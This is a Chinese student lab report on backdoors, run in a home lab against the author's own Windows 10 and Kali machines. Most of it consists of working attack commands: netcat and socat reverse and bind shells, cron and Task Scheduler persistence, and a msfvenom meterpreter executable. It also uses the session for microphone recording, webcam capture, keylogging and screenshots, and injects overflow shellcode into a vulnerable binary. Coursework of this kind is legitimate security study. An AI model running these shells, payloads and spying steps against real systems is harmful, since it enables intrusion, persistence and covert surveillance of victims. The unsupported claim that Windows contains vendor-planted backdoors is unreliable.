20191218 Exp2-后门原理与实践
实验基础
本次实验需要我们掌握后门的基础知识,学习使用nc
实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom
指令生成简单的后门程序,学会MSF POST模块的应用。
基础知识
后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用后门工具
-
NC和Netcat
底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
- 在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
- 在Windows系统中,需要下载ncat.rar,解压后可使用
-
SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。 -
Meterpreter
一个用来生成后门程序的程序。
它包含着后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的
Meterpreter
程序有- intersect
- Metaspolit的
msfvenom
指令 - Veil-evasion
本次实验我们使用
msfvenom
指令生成后门可执行文件Meterpreter。
实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验环境
环境
- 主机:Windows 10;
- 靶机:Kali Linux Debian 10;
在主机上用ipconfig
查看Windows10主机IP
主机IP为192.168.1.105
在Kali虚拟机中用sudo ifconfig
查看Kali虚拟机IP
Kali虚拟机IP为192.168.174.141
实验过程
一、使用netcat获取主机操作Shell,启动cron
在主机中使用ncat -l -p 1218(个人学号后四位)
监听本机的1218端口
(注:若Windows中未安装ncat
命令,可以点击ncat.rar下载,解压后可使用)
在主机中获取虚拟机shell
在虚拟机中使用nc 192.168.1.105(主机IP) 1218 -e /bin/sh
连接主机反弹shell
成功getshell
在虚拟机中获取主机shell
在虚拟机中用nc -l -p 1218
监听主机1218端口
在主机中用ncat -e cmd 192.168.174.141 1218
,成功获取到主机shell
在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加18 * * * * nc 192.168.211.1 1218 -e /bin/sh
,即在每个小时的第18分钟反向连接Windows主机的1218端口
等到每小时的18分,在ip地址为192.168.1.105的主机端用ncat -l -p 1218
打开监听即可
在主机成功获取虚拟机的shell
此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 1218 -e /bin/sh
,这是攻击机能随时通过nc 主机ip 1218
获得虚拟机的一个Shell
二、使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README
新建操作,操作设置为启动程序socat.exe
,并添加参数tcp-listen:1218 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口1218,同时把cmd.exe的stderr重定向
设置好后我们按下Win+L
(通用)或者F10
(一些电脑适用)锁定工作台,即把电脑锁屏。解锁后由于Windows防火墙没关,发现弹出UAC警告,说明之前设置成功
在Kali中输入命令socat - tcp:192.168.1.105:1218
成功获取Windows的Shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20191218_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe
,其中
LHOST
为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IPLPORT
是回连的端口-p
使用的payload。
payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-f
生成文件的类型>
输出到哪个文件
在Windows上打开监听
在Kali上用nc 192.168.1.105 1218 < 20191218_backdoor.exe
将生成的20191218_backdoor.exe
后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.174.141 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1218
配置完后的情况
接着输入exploit
进行监听,在Windows在打开20191218_backdoor.exe
后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d
可设置时长)
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d
可设置时长)
截取主机屏幕
使用screenshot
指令可以进行截屏
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
前期准备,关闭地址随机化
设置堆栈可执行
参考陈发强同学的博客网络对抗实验exp2,博客链接
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.174.141 LPORT=1218 -f c
生成的shellcode如下
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97"
"\x5b\x68\xc0\xa8\xae\x8d\x66\x68\x04\xc2\x66\x53\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0"
"\x03\xcd\x80\xff\xe1"
结合exp1中找到的pwn1的返回地址(我的是0xffffd150
),加在shellcode开头,再在上覆盖缓冲区的随意字符,首先在Kali上生成shellcode在Kali本地测试,用如下代码生成inputEXP2
,然后再按照之前的方法设置msf控制台
perl -e 'print "A" x 32; print "\x50\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\xae\x8d\x66\x68\x04\xc2\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'
在一终端运行pwn1
在另一终端用msfexploit
监听,本地攻击成功
下面实现远程攻击,我选用的攻击机是OpenEuler
首先在OpenEuler中安装msf,首先输入如下命令
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
在Kali上根据OpenEuler的IP重新生成shellcode
在OpenEuler上生成攻击注入代码
在Kali上开启1218
端口
在OpenEuler上远程注入攻击
Kali上回显
OpenEuler上弹出Kalishell,攻击成功
基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载盗版的软件,像下载某些付费软件的“破解版”,可能其中已经被植入了后门。
例举你知道的后门如何启动起来(win及linux)的方式?
- Windows
远程修改了Windows的任务管理计划,设置成系统进行特定动作如本次实验我是用的锁定屏幕,或者在特定时间触发后门程序 - Linux
感觉和Windows启动后门的方式有类似的地方,例如通过socat
和netcat
获取shell、反弹连接等
Meterpreter有哪些给你印象深刻的功能?
在本次实验前,我查找了一些有关Meterpreter的资料,对其启动隐藏、难以被查杀、生成后门快捷方便等特点印象比较深刻。在实验过程中我也实际操作使用了Meterpreter进行后门程序的生成,发现这真的是一个特别好使的工具,仅是简单的msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe
一句就可以生成相对应类型的后门。
如何发现自己有系统有没有被安装后门?
如果电脑经常出现一些异常情况则在一定程度上可认为系统被安装了后门(其实Windows本身就被微软植入了许多后门,只是还没到暴露后门获取情报的时候)
简要说来有这样一些异常情况:
-
经常死机
病毒打开了许多文件或占用了大量内存。 -
系统无法启动
病毒修改了硬盘的引导信息,或删除了某些启动文件。 -
某些文件打不开
病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。 -
经常报告内存不够
病毒非法占用了大量内存,或是打开了大量的软件。 -
提示硬盘空间不够
病毒复制了大量的病毒文件。 -
出现大量来历不明的文件
病毒作为母本复制了大量文件。 -
启动黑屏/蓝屏
病毒感染。 -
数据丢失
病毒删除了文件。 -
系统运行速度慢
病毒占用了内存和CPU资源,在后台运行了大量非法操作。 -
系统自动执行操作
病毒在后台执行非法操作。
实验心得
本次实验内容感觉比较丰富,从最开始的使用ncat
和socat
获取Linux、Windows的shell,到之后设置任务启动计划,根据主机工作台锁定这一操作触发socat从而实现攻击,再到之后使用Meterpreter生成针对特定系统的后门程序并对主机进行攻击获取主机的摄像头权限、键盘记录等等,最后到选做项结合实验一的反弹连接,我对后门也算是有了一个比较直观的认识,也算是实现了特定环境下的简单攻击(主要通过socat
和Meterpreter工具)。虽然这次实验最多算照猫画虎,但是在整个过程中我还是有不小的收获,我不仅对后门原理理解更加深入,也对一些常用的后门工具更加熟悉。
这次实验做到有些地方被卡住大概率是因为没有关闭杀毒软件(我在在用nc
传文件时以为是网速问题足足等了几个小时,后面尝试直接把生成的后门程序直接拖到主机中发现也不能运行,这才注意到是某杀毒软件没关……),所以大家在做类似的网络攻击实验时一定要先退出杀毒软件(这也从侧面体现出目前的环境下要实现一些网络攻击对大多数人来说还是有难度的)。此外,这次实验让我印象最深的便是第四项的控制主机摄像头拍照、录视频。我们在影视作品或者一些媒体报导上会经常看到有关远程控制电脑摄像头的场景,当时我们可能会认为这种技术离我们太远,而这次实验就让我们亲身实践了这项技术。虽然我们实验内容是在设置了一定条件的环境下完成的,但通过实践我们对这项技术的原理还是有更深的体会,这是我们之前所缺失的。